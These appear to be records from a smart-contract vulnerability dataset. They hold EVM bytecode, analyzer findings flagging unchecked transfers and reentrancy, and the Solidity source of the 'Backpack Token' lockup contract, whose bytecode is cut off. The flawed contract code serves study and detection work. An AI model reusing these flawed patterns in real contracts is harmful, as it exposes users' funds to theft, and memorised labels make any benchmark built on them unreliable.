565b6040518082815260200191505060405180910390f35b61076c611e15565b6040518082815260200191505060405180910390f35b6107c46004803603602081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b005b610808600480360360208110156107dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f6c565b6040518082815260200191505060405180910390f35b60608060608084861061083057600080fd5b60006108458787611fa090919063ffffffff16565b905060608167ffffffffffffffff8111801561086057600080fd5b5060405190808252806020026020018201604052801561088f5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156108ab57600080fd5b506040519080825280602002602001820160405280156108da5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156108f657600080fd5b506040519080825280602002602001820160405280156109255781602001602082028036833780820191505090505b50905060608467ffffffffffffffff8111801561094157600080fd5b506040519080825280602002602001820160405280156109705781602001602082028036833780820191505090505b50905060008b90505b8a811015610b1c57600061099782600a611fb790919063ffffffff16565b905060006109ae8e84611fa090919063ffffffff16565b9050818782815181106109bd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610a4357fe5b602002602001018181525050600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610a9b57fe5b602002602001018181525050600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610af357fe5b6020026020010181815250505050610b15600182611f8490919063ffffffff16565b9050610979565b50838383839850985098509850505050505092959194509250565b60025481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60008111610bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610c8933611fd1565b6000610cb4612710610ca66003548561229390919063ffffffff16565b6122c290919063ffffffff16565b90506000610ccb8284611fa090919063ffffffff16565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d8957600080fd5b505af1158015610d9d573d6000803e3d6000fd5b505050506040513d6020811015610db357600080fd5b8101908080519060200190929190505050610e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ed157600080fd5b505af1158015610ee5573d6000803e3d6000fd5b505050506040513d6020811015610efb57600080fd5b8101908080519060200190929190505050610f7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610fd083600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102733600a6122db90919063ffffffff16565b801561107257506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561108d5761108b33600a61230b90919063ffffffff16565b505b505050565b600061109e600a61233b565b905090565b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957781565b600d6020528060005260406000206000915090505481565b6110dc33611fd1565b565b60008111611154576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127861271061126a6003548561229390919063ffffffff16565b6122c290919063ffffffff16565b9050600061128f8284611fa090919063ffffffff16565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561134d57600080fd5b505af1158015611361573d6000803e3d6000fd5b505050506040513d602081101561137757600080fd5b81019080805190602001909291905050506113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b8101908080519060200190929190505050611542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61159483600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115eb33600a6122db90919063ffffffff16565b801561163657506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156116515761164f33600a61230b90919063ffffffff16565b505b505050565b60075481565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cd57600080fd5b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c8152602001806125b2603c913960400191505060405180910390fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806117b6575060085442115b61180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806125ee602c913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561189257600080fd5b505af11580156118a6573d6000803e3d6000fd5b505050506040513d60208110156118bc57600080fd5b810190808051906020019092919050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061190e82600a6122db90919063ffffffff16565b61191b5760009050611ac7565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561196c5760009050611ac7565b6000804290506009548111156119825760095490505b80600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119d15760009150611a26565b611a23600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611fa090919063ffffffff16565b91505b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611abd612710611aaf6301e13380611aa188611a936001548961229390919063ffffffff16565b61229390919063ffffffff16565b6122c290919063ffffffff16565b6122c290919063ffffffff16565b9050809450505050505b919050565b60015481565b60008111611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611c1757600080fd5b505af1158015611c2b573d6000803e3d6000fd5b505050506040513d6020811015611c4157600080fd5b8101908080519060200190929190505050611cc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611ccd33611fd1565b611d1f81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7633600a6122db90919063ffffffff16565b611dd457611d8e33600a61235090919063ffffffff16565b5042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b600c6020528060005260406000206000915090505481565b60085481565b60095481565b60035481565b60045481565b60065481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611eae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e6020528060005260406000206000915090505481565b600080828401905083811015611f9657fe5b8091505092915050565b600082821115611fac57fe5b818303905092915050565b6000611fc68360000183612380565b60001c905092915050565b6000611fdc826118f8565b9050600081111561224b5773f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208257600080fd5b505af1158015612096573d6000803e3d6000fd5b505050506040513d60208110156120ac57600080fd5b810190808051906020019092919050505061212f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61218181600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d981600454611f8490919063ffffffff16565b6004819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806122b25750828482816122af57fe5b04145b6122b857fe5b8091505092915050565b6000808284816122ce57fe5b0490508091505092915050565b6000612303836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612403565b905092915050565b6000612333836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612426565b905092915050565b60006123498260000161250e565b9050919050565b6000612378836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61251f565b905092915050565b6000818360000180549050116123e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125906022913960400191505060405180910390fd5b8260000182815481106123f057fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612502576000600182039050600060018660000180549050039050600086600001828154811061247157fe5b906000526020600020015490508087600001848154811061248e57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806124c657fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612508565b60009150505b92915050565b600081600001805490509050919050565b600061252b8383612403565b612584578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612589565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574204465706f73697420546f6b656e732066726f6d207468697320636f6e74726163742141646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732079657421a26469706673582212201d53d2329df317a3804968d20cd521166d3375f916acde17f99654316af0be7764736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,413 |
0x01db18f6a474840db3480a6a35227d4d0dfcca37
|
pragma solidity ^0.4.20;
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* Owned contract
*/
contract Owned {
address[] public pools;
address public owner;
function Owned() {
owner = msg.sender;
pools.push(msg.sender);
}
modifier onlyPool {
require(isPool(msg.sender));
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/// add new pool address to pools
function addPool(address newPool) onlyOwner {
assert (newPool != 0);
if (isPool(newPool)) throw;
pools.push(newPool);
}
/// remove a address from pools
function removePool(address pool) onlyOwner{
assert (pool != 0);
if (!isPool(pool)) throw;
for (uint i=0; i<pools.length - 1; i++) {
if (pools[i] == pool) {
pools[i] = pools[pools.length - 1];
break;
}
}
pools.length -= 1;
}
function isPool(address pool) internal returns (bool ok){
for (uint i=0; i<pools.length; i++) {
if (pools[i] == pool)
return true;
}
return false;
}
function transferOwnership(address newOwner) onlyOwner public {
removePool(owner);
addPool(newOwner);
owner = newOwner;
}
}
/**
* BP crowdsale contract
*/
contract BPToken is SafeMath, Owned, ERC20 {
string public constant name = "Backpack Token";
string public constant symbol = "BP";
uint256 public constant decimals = 18;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function BPToken() {
totalSupply = 2000000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
/// asset pool map
mapping (address => address) addressPool;
/// address base amount
mapping (address => uint256) addressAmount;
/// per month seconds
uint perMonthSecond = 2592000;
/// calc the balance that the user shuold hold
function shouldHadBalance(address who) constant returns (uint256){
if (isPool(who)) return 0;
address apAddress = getAssetPoolAddress(who);
uint256 baseAmount = getBaseAmount(who);
/// Does not belong to AssetPool contract
if( (apAddress == address(0)) || (baseAmount == 0) ) return 0;
/// Instantiate ap contract
AssetPool ap = AssetPool(apAddress);
uint startLockTime = ap.getStartLockTime();
uint stopLockTime = ap.getStopLockTime();
if (block.timestamp > stopLockTime) {
return 0;
}
if (ap.getBaseLockPercent() == 0) {
return 0;
}
// base lock amount
uint256 baseLockAmount = safeDiv(safeMul(baseAmount, ap.getBaseLockPercent()),100);
if (block.timestamp < startLockTime) {
return baseLockAmount;
}
/// will not linear release
if (ap.getLinearRelease() == 0) {
if (block.timestamp < stopLockTime) {
return baseLockAmount;
} else {
return 0;
}
}
/// will linear release
/// now timestamp before start lock time
if (block.timestamp < startLockTime + perMonthSecond) {
return baseLockAmount;
}
// total lock months
uint lockMonth = safeDiv(safeSub(stopLockTime,startLockTime),perMonthSecond);
if (lockMonth <= 0) {
if (block.timestamp >= stopLockTime) {
return 0;
} else {
return baseLockAmount;
}
}
// unlock amount of every month
uint256 monthUnlockAmount = safeDiv(baseLockAmount,lockMonth);
// current timestamp passed month
uint hadPassMonth = safeDiv(safeSub(block.timestamp,startLockTime),perMonthSecond);
return safeSub(baseLockAmount,safeMul(hadPassMonth,monthUnlockAmount));
}
function getAssetPoolAddress(address who) internal returns(address){
return addressPool[who];
}
function getBaseAmount(address who) internal returns(uint256){
return addressAmount[who];
}
function getBalance() constant returns(uint){
return balances[msg.sender];
}
function setPoolAndAmount(address who, uint256 amount) onlyPool returns (bool) {
assert(balances[msg.sender] >= amount);
if (owner == who) {
return true;
}
address apAddress = getAssetPoolAddress(who);
uint256 baseAmount = getBaseAmount(who);
assert((apAddress == msg.sender) || (baseAmount == 0));
addressPool[who] = msg.sender;
addressAmount[who] += amount;
return true;
}
/// get balance of the special address
function balanceOf(address who) constant returns (uint) {
return balances[who];
}
/// @notice Transfer `value` BP tokens from sender's account
/// `msg.sender` to provided account address `to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Success
/// @param to The address of the recipient
/// @param value The number of BPs to transfer
/// @return Whether the transfer was successful or not
function transfer(address to, uint256 value) returns (bool) {
if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw;
uint256 senderBalance = balances[msg.sender];
if (senderBalance >= value && value > 0) {
senderBalance = safeSub(senderBalance, value);
balances[msg.sender] = senderBalance;
balances[to] = safeAdd(balances[to], value);
Transfer(msg.sender, to, value);
return true;
} else {
throw;
}
}
/// @notice Transfer `value` BP tokens from sender 'from'
/// to provided account address `to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Success
/// @param from The address of the sender
/// @param to The address of the recipient
/// @param value The number of BPs to transfer
/// @return Whether the transfer was successful or not
function transferFrom(address from, address to, uint256 value) returns (bool) {
// Abort if not in Success state.
// protect against wrapping uints
if (balances[from] >= value &&
allowed[from][msg.sender] >= value &&
safeAdd(balances[to], value) > balances[to])
{
balances[to] = safeAdd(balances[to], value);
balances[from] = safeSub(balances[from], value);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], value);
Transfer(from, to, value);
return true;
} else {
throw;
}
}
/// @notice `msg.sender` approves `spender` to spend `value` tokens
/// @param spender The address of the account able to transfer the tokens
/// @param value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address spender, uint256 value) returns (bool) {
if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw;
// Abort if not in Success state.
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
/// @param owner The address of the account owning tokens
/// @param spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address owner, address spender) constant returns (uint) {
uint allow = allowed[owner][spender];
return allow;
}
}
contract ownedPool {
address public owner;
function ownedPool() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* Asset pool contract
*/
contract AssetPool is ownedPool {
uint baseLockPercent;
uint startLockTime;
uint stopLockTime;
uint linearRelease;
address public bpTokenAddress;
BPToken bp;
function AssetPool(address _bpTokenAddress, uint _baseLockPercent, uint _startLockTime, uint _stopLockTime, uint _linearRelease) {
assert(_stopLockTime > _startLockTime);
baseLockPercent = _baseLockPercent;
startLockTime = _startLockTime;
stopLockTime = _stopLockTime;
linearRelease = _linearRelease;
bpTokenAddress = _bpTokenAddress;
bp = BPToken(bpTokenAddress);
owner = msg.sender;
}
/// set role value
function setRule(uint _baseLockPercent, uint _startLockTime, uint _stopLockTime, uint _linearRelease) onlyOwner {
assert(_stopLockTime > _startLockTime);
baseLockPercent = _baseLockPercent;
startLockTime = _startLockTime;
stopLockTime = _stopLockTime;
linearRelease = _linearRelease;
}
/// set bp token contract address
// function setBpToken(address _bpTokenAddress) onlyOwner {
// bpTokenAddress = _bpTokenAddress;
// bp = BPToken(bpTokenAddress);
// }
/// assign BP token to another address
function assign(address to, uint256 amount) onlyOwner returns (bool) {
if (bp.setPoolAndAmount(to,amount)) {
if (bp.transfer(to,amount)) {
return true;
}
}
return false;
}
/// get the balance of current asset pool
function getPoolBalance() constant returns (uint) {
return bp.getBalance();
}
function getStartLockTime() constant returns (uint) {
return startLockTime;
}
function getStopLockTime() constant returns (uint) {
return stopLockTime;
}
function getBaseLockPercent() constant returns (uint) {
return baseLockPercent;
}
function getLinearRelease() constant returns (uint) {
return linearRelease;
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018457806312065fe0146101de57806314b116511461020757806318160ddd1461026157806323b872dd1461028a578063313ce567146103035780633b7d09461461032c57806370a08231146103655780638da5cb5b146103b257806395d89b4114610407578063a9059cbb14610495578063ac4afa38146104ef578063d914cd4b14610552578063d9a4ad8b1461058b578063dd62ed3e146105d8578063f2fde38b14610644575b600080fd5b341561010157600080fd5b61010961067d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106b6565b604051808215151515815260200191505060405180910390f35b34156101e957600080fd5b6101f1610805565b6040518082815260200191505060405180910390f35b341561021257600080fd5b610247600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061084c565b604051808215151515815260200191505060405180910390f35b341561026c57600080fd5b610274610a3f565b6040518082815260200191505060405180910390f35b341561029557600080fd5b6102e9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a45565b604051808215151515815260200191505060405180910390f35b341561030e57600080fd5b610316610e41565b6040518082815260200191505060405180910390f35b341561033757600080fd5b610363600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e46565b005b341561037057600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611028565b6040518082815260200191505060405180910390f35b34156103bd57600080fd5b6103c5611071565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041257600080fd5b61041a611097565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045a57808201518184015260208101905061043f565b50505050905090810190601f1680156104875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104a057600080fd5b6104d5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110d0565b604051808215151515815260200191505060405180910390f35b34156104fa57600080fd5b61051060048080359060200190919050506112dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055d57600080fd5b610589600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061131c565b005b341561059657600080fd5b6105c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611414565b6040518082815260200191505060405180910390f35b34156105e357600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611800565b6040518082815260200191505060405180910390f35b341561064f57600080fd5b61067b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061188c565b005b6040805190810160405280600e81526020017f4261636b7061636b20546f6b656e00000000000000000000000000000000000081525081565b60006106c133611414565b61070a600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611960565b101561071557600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600080600061085a33611979565b151561086557600080fd5b6108b084600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a1d565b8473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561090f5760019250610a37565b61091885611a2c565b915061092385611a95565b90506109673373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806109625750600082145b611a1d565b33600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600192505b505092915050565b60025481565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b12575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610ba45750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ba2600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611ade565b115b15610e3557610bf2600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611ade565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7e600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611960565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d47600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611960565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610e3a565b600080fd5b9392505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea457600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610ec757fe5b610ed082611979565b1515610edb57600080fd5b600090505b60016000805490500381101561100b578173ffffffffffffffffffffffffffffffffffffffff16600082815481101515610f1657fe5b9060005260206000209001600090549061010